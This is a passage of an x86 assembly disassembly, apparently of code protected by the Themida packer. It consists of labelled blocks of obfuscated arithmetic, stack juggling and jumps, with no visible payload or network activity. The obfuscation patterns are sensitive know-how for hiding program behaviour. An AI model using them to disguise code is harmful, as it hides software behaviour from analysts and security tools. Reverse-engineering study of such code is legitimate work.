sub eax, 3BB44353h
push edi
push 3C01CCDh
pop edi
jmp loc_560905
; ---------------------------------------------------------------------------
loc_567E2C: ; CODE XREF: sub_562ABA+3E5Fj
sub ecx, 82A722F7h
add edx, ecx
jmp loc_568B96
; ---------------------------------------------------------------------------
loc_567E39: ; CODE XREF: sub_562ABA-1ADAj
sub edi, 7FFFC3A9h
add esi, edi
pop edi
push 6A6Ch
mov [esp+12h+var_12], ecx
push edx
mov edx, 538567DBh
xor edx, 257867CEh
add edx, 90272691h
mov ecx, edx
pop edx
push ebp
jmp loc_571FEA
; ---------------------------------------------------------------------------
loc_567E65: ; CODE XREF: sub_562ABA+6CFEj
sub edx, 7F0C5541h
jmp loc_56F1EF
; ---------------------------------------------------------------------------
lodsb
jmp loc_56D842
; ---------------------------------------------------------------------------
loc_567E76: ; CODE XREF: sub_562ABA+F390j
push 32ECh
mov [esp+1Ah+var_1A], ebx
jmp loc_567064
; ---------------------------------------------------------------------------
push [esp+1Ah+var_1A]
pop eax
push edx
push esp
pop edx
jmp loc_56C990
; ---------------------------------------------------------------------------
loc_567E8F: ; CODE XREF: sub_562ABA+BA11j
push esp
pop ebx
add ebx, 4
jmp loc_55F1CE
; ---------------------------------------------------------------------------
loc_567E9C: ; CODE XREF: sub_562ABA+5348j
push edi
mov edi, 1DC31E3Dh
push edx
mov edx, 28664C9Bh
add edi, edx
pop edx
shl edi, 6
dec edi
add edi, 92126C7Ch
mov ebp, edi
pop edi
jmp loc_566247
; ---------------------------------------------------------------------------
loc_567EBD: ; CODE XREF: sub_562ABA+3A13j
mov [esp-0Ah+arg_4+2], ecx
mov ecx, esp
push ebx
jmp loc_566558
; ---------------------------------------------------------------------------
loc_567EC8: ; CODE XREF: sub_562ABA+DD49j
pop ebp
add edx, ecx
pop ecx
push edx
push [esp-0Ah+arg_8+2]
push [esp-6+arg_0+2]
jmp loc_5709A6
; ---------------------------------------------------------------------------
loc_567ED9: ; CODE XREF: sub_562ABA-1DFEj
sub edx, 1A2452D6h
jmp loc_55EBB4
; ---------------------------------------------------------------------------
loc_567EE4: ; CODE XREF: sub_562ABA+5A2Fj
add [esp-6+arg_4+2], eax
sub [esp-6+arg_4+2], 69480D57h
push eax
mov eax, 4D2C4462h
sub [esp-2+arg_4+2], eax
pop eax
sub [esp-6+arg_4+2], 3C0627D4h
pop eax
jmp loc_560F3A
; ---------------------------------------------------------------------------
loc_567F09: ; CODE XREF: sub_562ABA+A032j
add ebx, 264821D0h
pop esi
sub edi, ebx
push [esp-0Eh+arg_8+2]
pop ebx
push 46AAh
jmp loc_563DC5
; ---------------------------------------------------------------------------
loc_567F20: ; CODE XREF: sub_562ABA+44DDj
push edi
push ecx
push edx
mov edx, 2AAD4D36h
mov ecx, edx
jmp loc_56834F
; ---------------------------------------------------------------------------
loc_567F2F: ; CODE XREF: sub_562ABA-4965j
sub eax, 77F9393Bh
add eax, 34CE4805h
jmp sub_560BA1
; ---------------------------------------------------------------------------
loc_567F3E: ; CODE XREF: sub_562ABA+B6DCj
or ecx, esi
jmp loc_569814
; ---------------------------------------------------------------------------
loc_567F45: ; CODE XREF: sub_562ABA+BE2Cj
sub ch, 8Ah
push eax
mov ah, ch
jmp loc_5711F9
; ---------------------------------------------------------------------------
loc_567F50: ; CODE XREF: sub_562ABA+DDFDj
push edi
push 4
pop edi
sub ebx, 740A1434h
add ebx, 782A5A86h
add ebx, edi
sub ebx, 782A5A86h
add ebx, 740A1434h
mov edi, [esp+6+var_8+2]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_562DD7
; ---------------------------------------------------------------------------
loc_567F82: ; CODE XREF: sub_562ABA+CA8Fj
mov esp, [esp+0Ah+var_C+2]
rol [esp+0Ah+var_C+2], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_567F8E: ; CODE XREF: sub_562ABA+B832j
mov edi, 0E8831CBh
jmp loc_5698CE
; ---------------------------------------------------------------------------
loc_567F98: ; CODE XREF: sub_562ABA+9D91j
add esp, 4
xor edi, 605B1D85h
sub edi, 5AB709F1h
jmp loc_56E95C
; ---------------------------------------------------------------------------
loc_567FAC: ; CODE XREF: sub_562ABA+3E17j
mov [esp+32h+var_32], esi
sub esp, 4
mov [esp+36h+var_36], esp
push ebx
mov ebx, 4
add [esp+3Ah+var_36], ebx
jmp loc_5639D7
; ---------------------------------------------------------------------------
loc_567FC4: ; CODE XREF: sub_562ABA+4C48j
sub esp, 4
jmp loc_566DA3
; ---------------------------------------------------------------------------
loc_567FCF: ; CODE XREF: sub_562ABA+E5A7j
sub edi, 29E84ACBh
xor edi, 67F70CF2h
jmp loc_55FD62
; ---------------------------------------------------------------------------
loc_567FE0: ; CODE XREF: sub_562ABA+EFA7j
push eax
sub esp, 4
mov [esp+4Ah+var_4A], esp
push ebx
mov ebx, 4
add [esp+4Eh+var_4A], ebx
pop ebx
pop eax
jmp loc_5719A2
; ---------------------------------------------------------------------------
loc_567FFB: ; CODE XREF: sub_562ABA+A9FEj
push edx
sub esp, 4
mov [esp+4Eh+var_4E], edi
push edx
mov edx, 78D92C6Ch
mov edi, edx
mov edx, [esp+52h+var_52]
add esp, 4
dec edi
add edi, 0A6DEFBF1h
jmp loc_56549D
; ---------------------------------------------------------------------------
loc_568022: ; CODE XREF: sub_562ABA-2EB3j
xor [esp+0], ecx
xor ecx, [esp+0]
pop esp
push eax
push [esp+0Eh+var_C+2]
mov eax, [esp+12h+var_12]
jmp loc_56E6EB
; ---------------------------------------------------------------------------
loc_568036: ; CODE XREF: sub_562ABA+2411j
pop edx
jmp loc_569EBF
; ---------------------------------------------------------------------------
loc_56803C: ; CODE XREF: sub_562ABA+76D5j
sub edx, ebp
add edx, 7B65306Fh
mov ebp, [esp+4Ah+var_4A]
add esp, 4
mov eax, [esp+46h+var_46]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4Ah+var_4A]
pop esp
jmp loc_56C364
; ---------------------------------------------------------------------------
loc_568065: ; CODE XREF: sub_562ABA-49EBj
mov edx, 3B1B2332h
mov esi, edx
jmp loc_56359F
; ---------------------------------------------------------------------------
push [esp+0Ah+var_C+2]
mov eax, [esp+0]
add esp, 4
sub esp, 4
mov [esp+0], edi
push esp
push [esp+12h+var_12]
pop edi
add esp, 4
push 3838h
mov [esp+12h+var_12], ebp
push 4C0Dh
mov [esp+16h+var_16], edx
push 40365BFCh
mov edx, [esp+1Ah+var_1A]
add esp, 4
sub edx, 57861E9Eh
inc edx
jmp sub_5720B7
; ---------------------------------------------------------------------------
loc_5680B2: ; CODE XREF: sub_562ABA-89Bj
add eax, 4
add eax, 4
xchg eax, [esp+1Ch+var_1E+2]
pop esp
push 30EEh
mov [esp+1Ch+var_1E+2], ebp
mov ebp, 4
add edx, ebp
pop ebp
jmp loc_562B9A
; ---------------------------------------------------------------------------
loc_5680D5: ; CODE XREF: Themida_:005620F0j
push edi
push 0F311D3h
pop edi
shr edi, 1
xor edi, 7115FD8Ch
mov edx, edi
pop edi
mov ebp, 239D26FAh
and ebp, 260A0C82h
inc ebp
inc ebp
jmp loc_5729D7
; ---------------------------------------------------------------------------
loc_5680F9: ; CODE XREF: sub_562ABA+ACD3j
shl ebp, 3
or ebp, 3C06524Eh
xor ebp, 0E447B531h
add ebx, ebp
pop ebp
sub ebx, edx
sub esp, 4
mov [esp+18h+var_1A+2], edi
mov edi, 33943DC1h
push edi
sub esp, 4
jmp loc_56B56E
; ---------------------------------------------------------------------------
loc_568124: ; CODE XREF: sub_562ABA+E266j
pop cx
jmp loc_568A3B
; ---------------------------------------------------------------------------
loc_56812B: ; CODE XREF: sub_562ABA+E4A1j
pop [esp+1Eh+var_1E]
mov esp, [esp+1Ah+var_1A]
mov word ptr [esp+1Ah+var_1A], ax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56813A: ; CODE XREF: sub_562ABA+6F02j
neg ecx
shl ecx, 3
not ecx
or ecx, 4FC60A14h
add ecx, 0A020D0A0h
mov ebx, ecx
pop ecx
add edx, ebx
jmp loc_568462
; ---------------------------------------------------------------------------
loc_568157: ; CODE XREF: sub_562ABA+F237j
add esi, 74A36632h
mov ecx, [esp+16h+var_16]
jmp loc_57295A
; ---------------------------------------------------------------------------
loc_568165: ; CODE XREF: sub_562ABA+4627j
pop [esp+42h+var_42]
mov esp, [esp+3Eh+var_3E]
jmp loc_5641D4
; ---------------------------------------------------------------------------
loc_568170: ; CODE XREF: sub_562ABA+B1BBj
add esi, edi
jmp loc_55F28E
; ---------------------------------------------------------------------------
loc_568177: ; CODE XREF: sub_562ABA+70Ej
add ebx, 743164C8h
xor ebx, 60CB345Ch
jmp loc_56E4D0
; ---------------------------------------------------------------------------
loc_568188: ; CODE XREF: sub_562ABA+ED1Fj
mov [esp-4+arg_0], esp
add [esp-4+arg_0], 4
pop ebp
jmp loc_570B56
; ---------------------------------------------------------------------------
loc_568198: ; CODE XREF: sub_562ABA+CF7Aj
mov edi, 611C1C3Bh
shr edi, 7
dec edi
shr edi, 5
and edi, 55935DE9h
and edi, 44D43933h
jmp loc_570DB5
; ---------------------------------------------------------------------------
loc_5681B5: ; CODE XREF: sub_562ABA+EADEj
sub ecx, 29E41F4Ch
jmp loc_56EE75
; ---------------------------------------------------------------------------
loc_5681C0: ; CODE XREF: sub_562ABA+9E61j
pop eax
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5681CC: ; CODE XREF: sub_562ABA+5E25j
push ebx
mov bh, 39h
push edx
mov dh, 0
jmp loc_56D79A
; ---------------------------------------------------------------------------
loc_5681D7: ; CODE XREF: sub_562ABA-3040j
pop ebx
and ecx, eax
jmp loc_568A61
; ---------------------------------------------------------------------------
loc_5681DF: ; CODE XREF: sub_5611D3+16j
add edx, 0B6F3FF30h
mov eax, edx
pop edx
add eax, ebp
pop ebp
add ebp, 24381F86h
add ebp, 1C745137h
add ebp, eax
sub ebp, 1C745137h
jmp loc_571005
; ---------------------------------------------------------------------------
loc_568204: ; CODE XREF: sub_562ABA+1FE5j
push edx
mov edx, 19BB5F1Ch
shl edx, 1
or edx, 0EC64336h
or edx, 2CB5414Eh
xor edx, 28526D50h
sub edx, 1C2739C7h
jmp loc_569ACD
; ---------------------------------------------------------------------------
loc_568229: ; CODE XREF: sub_562ABA-4370j
push [esp+22h+var_22]
pop ecx
add esp, 4
add ecx, 4
push 1B4Ah
mov [esp+22h+var_22], edx
mov edx, 22AB136Fh
or edx, 285C12D0h
shr edx, 3
dec edx
push ecx
mov ecx, 19B516F6h
add ecx, 43BA5731h
jmp loc_56576A
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+26h+var_28+2]
push edi
mov edi, esp
push eax
jmp loc_56F0CE
; ---------------------------------------------------------------------------
loc_56826E: ; CODE XREF: sub_562ABA+E44Ej
pop edi
add edx, 14002470h
add edx, eax
jmp loc_55FD0C
; ---------------------------------------------------------------------------
loc_56827C: ; CODE XREF: sub_562ABA+1ADAj
and ebx, edx
pop edx
add ebx, 30DD2B2Fh
push edx
mov edx, 1A4F343Fh
push 0
sub [esp+36h+var_36], edx
pop edx
dec edx
shr edx, 7
jmp loc_565D52
; ---------------------------------------------------------------------------
loc_56829D: ; CODE XREF: sub_561832+33j
mov [esp+32h+var_32], ebx
push ecx
mov cl, 56h
xor cl, 39h
inc cl
xor cl, 0ABh
jmp loc_5623C4
; ---------------------------------------------------------------------------
loc_5682B0: ; CODE XREF: sub_562ABA+7194j
mov [esp+36h+var_36], edi
mov edi, 24386915h
mov ebx, 0DA4C68A1h
sub ebx, edi
pop edi
sub edi, ebx
mov ebx, [esp+32h+var_32]
add esp, 4
jmp loc_5709AC
; ---------------------------------------------------------------------------
neg word ptr [esp+0]
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5682D7: ; CODE XREF: sub_562ABA+3510j
push dword ptr [esp+0]
jmp loc_56A875
; ---------------------------------------------------------------------------
loc_5682DF: ; CODE XREF: sub_562ABA+D6FDj
pop edi
push dword ptr [esp+0]
push [esp+12h+var_12]
jmp loc_569B7E
; ---------------------------------------------------------------------------
loc_5682EB: ; CODE XREF: sub_562ABA+83E7j
mov [esp+16h+var_16], esp
push eax
jmp loc_561056
; ---------------------------------------------------------------------------
loc_5682F4: ; CODE XREF: sub_562ABA+2DE4j
or edx, 532365E3h
xor edx, 38EE6992h
and edx, 44521D9h
jmp loc_55F972
; ---------------------------------------------------------------------------
loc_56830B: ; CODE XREF: sub_562ABA+ECC2j
push ebp
mov ebp, 4
sub eax, ebp
pop ebp
xchg eax, [esp+3Ah+var_3A]
pop esp
mov [esp+36h+var_36], eax
mov eax, 1FA71359h
mov esi, eax
pop eax
jmp loc_55E3A3
; ---------------------------------------------------------------------------
loc_568328: ; CODE XREF: sub_562ABA+4E94j
sub [esp+0Ah+var_C+2], ecx
pop ecx
push edx
jmp loc_569421
; ---------------------------------------------------------------------------
loc_568332: ; CODE XREF: sub_562ABA+FA6Aj
push ebp
push 5386h
jmp loc_5633C3
; ---------------------------------------------------------------------------
loc_56833D: ; CODE XREF: sub_562ABA+BDA4j
inc eax
jmp loc_566270
; ---------------------------------------------------------------------------
loc_568343: ; CODE XREF: sub_562ABA+3396j
push ebx
push bp
mov bp, 0B30h
jmp loc_567352
; ---------------------------------------------------------------------------
loc_56834F: ; CODE XREF: sub_562ABA+5470j
pop edx
jmp loc_566F61
; ---------------------------------------------------------------------------
loc_568355: ; CODE XREF: sub_562ABA+9A09j
mov edx, [esp+1Eh+var_1E]
add esp, 4
add [esp+1Ah+var_16], edi
mov edi, [esp+1Ah+var_1A]
push 3F5Ch
mov [esp+1Eh+var_1E], ecx
mov ecx, esp
add ecx, 4
push eax
jmp loc_5673E7
; ---------------------------------------------------------------------------
loc_568378: ; CODE XREF: sub_562ABA-3E0Ej
push dword ptr [edi+eax*4]
push edx
mov edx, 2E143B61h
jmp loc_566C1B
; ---------------------------------------------------------------------------
loc_568386: ; CODE XREF: sub_562ABA+E6B9j
sub edi, eax
jmp loc_55FB94
; ---------------------------------------------------------------------------
loc_56838D: ; CODE XREF: sub_562ABA+DB16j
mov [esp+26h+var_28+2], ebx
sub esp, 4
mov [esp+2Ah+var_2C+2], eax
jmp loc_560BBF
; ---------------------------------------------------------------------------
loc_56839E: ; CODE XREF: sub_562ABA+9A45j
add ebp, 4
xor ebp, [esp+2Ah+var_2C+2]
xor [esp+2Ah+var_2C+2], ebp
xor ebp, [esp+2Ah+var_2C+2]
jmp loc_56E537
; ---------------------------------------------------------------------------
loc_5683AF: ; CODE XREF: sub_562ABA-312Aj
add ecx, 1
sub ecx, 0CB978BA3h
sub edx, 7C16597Dh
sub edx, 640F7B9Eh
jmp loc_562E5C
; ---------------------------------------------------------------------------
loc_5683C9: ; CODE XREF: sub_562ABA+64BFj
add ecx, 4
push 30F3h
mov [esp+0], ebx
mov ebx, 2
sub ecx, 257C7695h
jmp loc_570975
; ---------------------------------------------------------------------------
loc_5683E7: ; CODE XREF: sub_562ABA+3107j
inc edx
add edx, 0FE17B20Fh
sub edi, edx
mov edx, [esp+18h+var_1A+2]
add esp, 4
xchg edi, [esp+14h+var_16+2]
jmp loc_56853D
; ---------------------------------------------------------------------------
loc_568401: ; CODE XREF: sub_562ABA+2FD4j
xor eax, edx
pop edx
mov ebx, 3E0B6F03h
add ebx, 33AE6F0Fh
sub ebx, eax
jmp loc_56EC73
; ---------------------------------------------------------------------------
loc_568416: ; CODE XREF: sub_562ABA+E42Aj
xor ebp, 63D71B7Ch
jmp loc_5679A0
; ---------------------------------------------------------------------------
loc_568421: ; CODE XREF: sub_562ABA+C65Ej
pop eax
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp-0Ah+arg_4+2]
pop esp
jmp loc_565445
; ---------------------------------------------------------------------------
loc_56843A: ; CODE XREF: sub_562ABA+6726j
add ecx, eax
add ecx, 70E7102Eh
push [esp-0Eh+arg_8+2]
jmp loc_569C37
; ---------------------------------------------------------------------------
loc_56844A: ; CODE XREF: sub_562ABA+E932j
add eax, 3B3914D8h
add eax, 273EF3B8h
or edx, eax
pop eax
sub edx, 7EFF7F5Bh
jmp loc_5726CC
; ---------------------------------------------------------------------------
loc_568462: ; CODE XREF: sub_562ABA+5698j
pop ebx
sub esp, 4
mov [esp+16h+var_16], ecx
mov ecx, 47F960E2h
shl ecx, 1
jmp loc_5607F5
; ---------------------------------------------------------------------------
loc_568475: ; CODE XREF: sub_562ABA+5FA2j
shr dh, 7
not dh
inc dh
push ebx
mov bl, 0AEh
xor bl, 1Dh
jmp loc_566DB9
; ---------------------------------------------------------------------------
loc_568487: ; CODE XREF: sub_562ABA+FC45j
pop ecx
xchg edi, [esp+16h+var_16]
pop esp
jmp loc_55F958
; ---------------------------------------------------------------------------
loc_568491: ; CODE XREF: sub_562ABA+4138j
mov [esp+3Eh+var_3E], ebp
mov ebp, esp
push edx
jmp loc_566023
; ---------------------------------------------------------------------------
loc_56849C: ; CODE XREF: sub_562ABA+9D7Dj
add esp, 4
xor edi, [esp+3Eh+var_3E]
jmp loc_56F811
; ---------------------------------------------------------------------------
lodsb
push edx
jmp loc_56D90B
; ---------------------------------------------------------------------------
loc_5684B1: ; CODE XREF: sub_562ABA+DC50j
mov ecx, edi
pop edi
shl ecx, 4
xor ecx, 565F00A3h
shl ecx, 7
shl ecx, 1
xor ecx, 807B2889h
mov eax, ecx
pop ecx
add dword ptr [esp+0Ch], 47F9574Eh
sub [esp+0Ch], eax
sub dword ptr [esp+0Ch], 47F9574Eh
pop eax
pop eax
add dword ptr [esp+4], 69480D57h
jmp loc_567EE4
; ---------------------------------------------------------------------------
loc_5684EE: ; CODE XREF: sub_562ABA+ECF7j
mov [esp+32h+var_32], ebx
mov ebx, 5C601EEDh
dec ebx
push eax
mov eax, 5A34196Dh
sub eax, 99809398h
add ebx, eax
pop eax
sub edx, ebx
jmp loc_57024D
; ---------------------------------------------------------------------------
loc_56850C: ; CODE XREF: sub_562ABA+79CAj
mov edi, esp
jmp loc_56F277
; ---------------------------------------------------------------------------
loc_568513: ; CODE XREF: sub_562ABA+364Cj
mov edi, 498A083Bh
not edi
push ecx
push edx
push eax
mov eax, 23A97C46h
mov edx, eax
jmp loc_5671FB
; ---------------------------------------------------------------------------
loc_568529: ; CODE XREF: sub_562ABA+DDDBj
mov ecx, [esp+3Ch+var_3E+2]
add esp, 4
sub ebp, 4
xchg ebp, [esp+38h+var_3A+2]
jmp loc_568685
; ---------------------------------------------------------------------------
loc_56853D: ; CODE XREF: sub_562ABA+5942j
pop esp
mov [esp+10h+var_12+2], ebp
jmp loc_562BA4
; ---------------------------------------------------------------------------
loc_568546: ; CODE XREF: sub_562ABA+12A7j
mov [esp+0], ebp
mov ebp, 15C46E44h
or edi, ebp
pop ebp
jmp loc_565743
; ---------------------------------------------------------------------------
loc_568556: ; CODE XREF: sub_562ABA+2C52j
sub ecx, 691E7FE4h
jmp loc_5616D3
; ---------------------------------------------------------------------------
loc_568561: ; CODE XREF: sub_562ABA+29j
mov cl, 7Bh
dec cl
neg cl
push 24BCh
mov [esp+32h+var_32], eax
mov ah, 0DEh
inc ah
or ah, 0F1h
sub ah, 13h
xor ah, 0B1h
xor ah, 0E9h
inc ah
sub ah, 31h
not ah
add ah, 23h
and cl, ah
push [esp+32h+var_32]
pop eax
jmp loc_567828
; ---------------------------------------------------------------------------
loc_568594: ; CODE XREF: sub_562ABA+68E5j
pop esp
mov [esp+0], dx
push 11F2h
mov [esp+32h+var_32], ecx
push ebx
jmp loc_562F4E
; ---------------------------------------------------------------------------
loc_5685A7: ; CODE XREF: sub_562ABA+19C5j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5685AC: ; CODE XREF: sub_562ABA+140j
add ebx, 49B668F4h
xor ebx, 47D9E00Ch
jmp loc_566631
; ---------------------------------------------------------------------------
loc_5685BD: ; CODE XREF: sub_562ABA-4426j
mov edx, esi
pop esi
mov ecx, [esp+16h+var_16]
add esp, 4
jmp loc_5699AA
; ---------------------------------------------------------------------------
loc_5685CB: ; CODE XREF: sub_562ABA+1168j
push 2265h
mov [esp+32h+var_32], esi
mov esi, 1CC92FC8h
and esi, 0B7E5E60h
sub esi, 314A56C2h
neg esi
xor esi, 7E2A6592h
sub esi, 57282D0Ch
add ecx, esi
mov esi, [esp+32h+var_32]
add esp, 4
xchg ecx, [esp+0]
pop esp
jmp loc_560EB0
; ---------------------------------------------------------------------------
loc_568606: ; CODE XREF: sub_562ABA+EEA0j
sub ecx, 792F4A8Dh
jmp loc_566003
; ---------------------------------------------------------------------------
loc_568611: ; CODE XREF: sub_55FCA5+2586j
push ebx
jmp loc_56A4E8
; ---------------------------------------------------------------------------
loc_568617: ; CODE XREF: sub_562ABA+1C4Dj
add edi, 4
push ecx
mov ecx, 4
add edi, ecx
pop ecx
jmp loc_55FC52
; ---------------------------------------------------------------------------
loc_56862B: ; CODE XREF: sub_562ABA+A01j
push edx
mov edx, 6DF70A2h
jmp loc_55E64E
; ---------------------------------------------------------------------------
loc_568636: ; CODE XREF: sub_562ABA+AEFDj
add ebx, esi
pop esi
xor edx, ebx
mov ebx, [esp+0Ch+var_C]
jmp loc_570736
; ---------------------------------------------------------------------------
loc_568643: ; CODE XREF: sub_55FCA5:loc_55FFFFj
add [esp+0Ch+var_8], eax
jmp loc_56C448
; ---------------------------------------------------------------------------
loc_56864C: ; CODE XREF: sub_562ABA+99B5j
add bl, dl
sub esp, 4
mov [esp+10h+var_12+2], ecx
jmp loc_56DCD7
; ---------------------------------------------------------------------------
loc_56865C: ; CODE XREF: sub_562ABA-1883j
push eax
mov ah, 0E6h
not ah
sub ah, 0FFh
sub ah, 41h
sub dl, ah
pop eax
push ecx
mov ch, 7
jmp loc_56237F
; ---------------------------------------------------------------------------
loc_568672: ; CODE XREF: sub_562ABA+7BE3j
sub esp, 4
jmp loc_56C2FD
; ---------------------------------------------------------------------------
loc_56867D: ; CODE XREF: sub_562ABA-3C2Fj
pop ecx
shl edx, 1
jmp loc_56889F
; ---------------------------------------------------------------------------
loc_568685: ; CODE XREF: sub_562ABA+5A7Ej
pop esp
mov [esp+34h+var_36+2], ebx
mov ebx, 449725B5h
push 0BB68DA4Ch
jmp loc_568CF1
; ---------------------------------------------------------------------------
loc_568698: ; CODE XREF: sub_562ABA+AD22j
push ebp
push 676C70E3h
pop ebp
xor ebp, 1894692Fh
jmp loc_56195D
; ---------------------------------------------------------------------------
loc_5686AA: ; CODE XREF: sub_562ABA+72F9j
push 4CEBh
mov [esp+40h+var_42+2], esi
mov esi, 4
jmp loc_55FAC0
; ---------------------------------------------------------------------------
loc_5686BC: ; CODE XREF: sub_562ABA-3A01j
add esp, 4
add [esp+2Ah+var_2C+2], eax
push ebx
mov ebx, 23DA7555h
sub [esp+2Eh+var_2C+2], ebx
pop ebx
jmp loc_569A64
; ---------------------------------------------------------------------------
loc_5686D2: ; CODE XREF: sub_562ABA+F96Bj
pop esi
add edi, 4
jmp loc_56C2A7
; ---------------------------------------------------------------------------
loc_5686DE: ; CODE XREF: sub_562ABA-17C3j
mov eax, esp
jmp loc_56EF02
; ---------------------------------------------------------------------------
loc_5686E5: ; CODE XREF: Themida_:00572A82j
mov esi, [esp+2+var_4+2]
add esp, 4
push edx
sub esp, 4
jmp loc_55F9B1
; ---------------------------------------------------------------------------
loc_5686F7: ; CODE XREF: sub_562ABA-24E7j
push esi
mov esi, 7E496DA5h
inc esi
jmp loc_565116
; ---------------------------------------------------------------------------
loc_568703: ; CODE XREF: sub_562ABA+F0D8j
add ebx, edx
pop edx
sub esp, 4
mov [esp+1Eh+var_1E], edx
push esi
jmp loc_564BB8
; ---------------------------------------------------------------------------
loc_568712: ; CODE XREF: sub_562ABA-11F0j
add ebp, 12E435A8h
shl ebp, 5
add ebp, 0A2E86104h
push ebp
jmp loc_567593
; ---------------------------------------------------------------------------
loc_568727: ; CODE XREF: sub_562ABA+7A62j
xor esi, 1A2FF39h
jmp loc_56AD6F
; ---------------------------------------------------------------------------
loc_568732: ; CODE XREF: sub_562ABA+E11Dj
add esp, 4
sub edi, 79225280h
sub edi, 335E5BD8h
add edi, 50DA6511h
add edi, ebp
jmp loc_568EDB
; ---------------------------------------------------------------------------
loc_56874E: ; CODE XREF: sub_562ABA-1ACj
add ch, bh
pop ebx
neg ch
push ax
mov al, dl
mov dl, ch
mov ch, al
pop ax
not dl
xchg dl, ch
push edx
push eax
push ecx
jmp loc_562C44
; ---------------------------------------------------------------------------
loc_568769: ; CODE XREF: sub_562ABA+6F2Bj
push esp
pop ecx
add ecx, 4
push edx
mov edx, 4
jmp loc_565D3B
; ---------------------------------------------------------------------------
loc_56877C: ; CODE XREF: sub_562ABA+9744j
xor esi, [esp+3Eh+var_3E]
pop esp
jmp loc_5712C1
; ---------------------------------------------------------------------------
loc_568785: ; CODE XREF: sub_562ABA-740j
pop esi
push ebx
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_56CC7C
; ---------------------------------------------------------------------------
loc_568794: ; CODE XREF: sub_562ABA+265Fj
neg esi
shr esi, 1
jmp loc_56F2AF
; ---------------------------------------------------------------------------
loc_56879D: ; CODE XREF: sub_562ABA+77D7j
push 0D581B65h
jmp loc_561AD1
; ---------------------------------------------------------------------------
loc_5687A7: ; CODE XREF: sub_562ABA+F5D4j
mov [esp+36h+var_36], esi
mov esi, 5C783654h
jmp loc_56F263
; ---------------------------------------------------------------------------
loc_5687B4: ; CODE XREF: sub_562ABA+3531j
mov ebp, edx
jmp loc_56B143
; ---------------------------------------------------------------------------
loc_5687BB: ; CODE XREF: sub_562ABA+D9C2j
add edx, esi
pop esi
add edx, 204D3784h
add edx, ecx
sub edx, 204D3784h
sub edx, 6DF131C8h
mov ecx, [esp+0]
push ebp
sub esp, 4
jmp loc_5700A8
; ---------------------------------------------------------------------------
loc_5687DE: ; CODE XREF: sub_562ABA+CE86j
or dl, al
jmp loc_55F607
; ---------------------------------------------------------------------------
loc_5687E5: ; CODE XREF: sub_562ABA+193j
pop eax
sub dl, 8Dh
add ch, dl
mov edx, [esp-12h+arg_C+2]
jmp loc_561178
; ---------------------------------------------------------------------------
loc_5687F3: ; CODE XREF: sub_562ABA+E01Bj
mov ebp, 3896CFAh
push edx
mov edx, 54F12A78h
inc edx
jmp loc_563120
; ---------------------------------------------------------------------------
loc_568804: ; CODE XREF: sub_562ABA-723j
xor [esp+1Eh+var_1E], esi
xor esi, [esp+1Eh+var_1E]
pop esp
loc_56880B: ; CODE XREF: sub_562ABA+6FF8j
; sub_562ABA+DC60j
push 276h
mov [esp+1Eh+var_1E], ebx
jmp loc_570632
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+1Eh+var_1E]
jmp loc_567431
; ---------------------------------------------------------------------------
loc_568821: ; CODE XREF: sub_562ABA+807Cj
pop ecx
push 6F5Eh
mov [esp+1Eh+var_1E], ebx
mov ebx, 51D50FA2h
jmp loc_56740E
; ---------------------------------------------------------------------------
loc_568834: ; CODE XREF: sub_562ABA+AFA7j
mov ebp, 24437798h
xor ebp, 32757807h
xchg edi, ebp
jmp loc_56DDD2
; ---------------------------------------------------------------------------
loc_568846: ; CODE XREF: sub_562ABA-91Ej
pop ebp
sub edx, eax
xchg eax, edx
mov edx, [esp+1Ah+var_1A]
jmp loc_567D74
; ---------------------------------------------------------------------------
loc_568852: ; CODE XREF: sub_562ABA+B5D6j
add ecx, 7DBDACF0h
sub esi, ecx
jmp loc_55E3AF
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+1Ah+var_1A]
jmp loc_56F9E0
; ---------------------------------------------------------------------------
loc_568868: ; CODE XREF: sub_562ABA+3AC2j
sub edx, ebx
sub edx, 3B644136h
pop ebx
sub edx, eax
add edx, 22B2654Ch
jmp loc_571BA9
; ---------------------------------------------------------------------------
loc_56887E: ; CODE XREF: sub_562ABA+B9C7j
add esi, 33EF572Bh
push eax
mov eax, 34D82D28h
add eax, 703E10C4h
jmp loc_5689AB
; ---------------------------------------------------------------------------
loc_568894: ; CODE XREF: sub_562ABA+BCD2j
or ebx, 21702C8Ah
jmp loc_56661C
; ---------------------------------------------------------------------------
loc_56889F: ; CODE XREF: sub_562ABA+5BC6j
push 3D34h
mov [esp+36h+var_36], edi
mov edi, 0
sub edi, edx
xor edx, edi
xor edi, edx
xor edx, edi
pop edi
shr edx, 6
push ecx
mov ecx, 2DF41481h
sub ecx, 0C8F4B10Dh
add edx, ecx
jmp loc_560330
; ---------------------------------------------------------------------------
loc_5688CB: ; CODE XREF: sub_562ABA+71C2j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+3Ah+var_3A]
pop esp
pop bx
push eax
mov ah, 0A2h
jmp loc_5681CC
; ---------------------------------------------------------------------------
loc_5688E4: ; CODE XREF: sub_562ABA+99EAj
and ebp, 4A2142B2h
push ebx
push ecx
push 185D701Fh
pop ecx
sub ecx, 0F64303BAh
mov ebx, ecx
pop ecx
shr ebx, 3
push 3756h
mov [esp+40h+var_42+2], ecx
mov ecx, 4E632693h
sub ebx, ecx
pop ecx
dec ebx
jmp loc_56F05A
; ---------------------------------------------------------------------------
loc_568914: ; CODE XREF: sub_562ABA+AB6Bj
push edi
not [esp+40h+var_42+2]
pop edi
xor edi, 0B89AEA8Dh
or eax, edi
pop edi
jmp loc_563B58
; ---------------------------------------------------------------------------
loc_568927: ; CODE XREF: sub_562ABA-6FBj
push ecx
mov ecx, esp
add ecx, 4
jmp loc_571403
; ---------------------------------------------------------------------------
loc_568935: ; CODE XREF: sub_562ABA+20B1j
pop edi
add eax, 3CF4AE01h
mov esi, eax
jmp loc_5645F4
; ---------------------------------------------------------------------------
loc_568942: ; CODE XREF: sub_562ABA+C092j
push edi
